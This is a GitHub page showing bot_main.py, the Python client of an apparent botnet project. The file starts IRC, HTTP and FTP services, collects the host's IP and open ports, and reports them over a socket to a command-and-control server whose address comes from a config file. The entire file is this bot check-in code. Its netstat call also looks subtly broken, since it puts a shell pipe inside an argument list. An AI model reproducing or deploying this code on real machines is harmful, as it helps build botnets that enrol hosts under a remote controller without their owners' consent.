-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathbot_main.py
More file actions
85 lines (70 loc) · 2.36 KB
/
bot_main.py
File metadata and controls
85 lines (70 loc) · 2.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import subprocess
from bot.irc_server import set_up_irc
from bot.http_server import run_http
from bot.ftp_server import set_up_ftp
from threading import Thread
import time
import json
import sys
import os
import config
from utils.script import get_my_ip, exec_cmd
# services to keep active
SERVICES = ["http", "irc", "ftp"]
def get_my_open_ports():
cmd = ['netstat', '-tulpn', '|', 'grep', 'LISTEN']
open_ports = exec_cmd(cmd)
list_ports = []
for info_line in open_ports.split('\n')[2:]:
if not info_line:
continue
port = info_line.split()[3].split(':')[-1]
list_ports.append(port)
# TO DO: change dumps on send line not here in return
return list_ports
def send_info_to_server(client_socket, my_ip, my_open_ports):
# print("Sending ", my_ip)
client_socket.send(str(my_ip).encode())
data = client_socket.recv(1024).decode()
if data != "ACK":
print("Server hasn't received my_ip correctly")
# print("Sending ", my_open_ports)
client_socket.send(json.dumps(my_open_ports).encode('utf-8'))
data = client_socket.recv(1024).decode()
if data != "ACK":
print("Server hasn't received my_open_ports correctly")
return 1
def client_program():
for s in SERVICES:
if s == "irc":
# create a thread to listen on ports
thread = Thread(target=set_up_irc, args=(os.getpid(),))
# run the thread
thread.start()
elif s == "http":
# create a thread to listen on ports
thread = Thread(target=run_http, args=(os.getpid(),))
# run the thread
thread.start()
elif s == "ftp":
# create a thread to listen on ports
thread = Thread(target=set_up_ftp, args=(os.getpid(),))
# run the thread
thread.start()
time.sleep(1)
# server info
cc = config.server_info["ip"]
port = config.server_info["port"]
# get my info
my_ip = get_my_ip()
my_open_ports = get_my_open_ports()
print("bot is connecting to C&C for sending info")
# connect to server
client_socket = socket.socket()
client_socket.connect((cc, port))
# send my info to server
send_info_to_server(client_socket, my_ip, my_open_ports)
client_socket.close() # close the connection
if __name__ == '__main__':
client_program()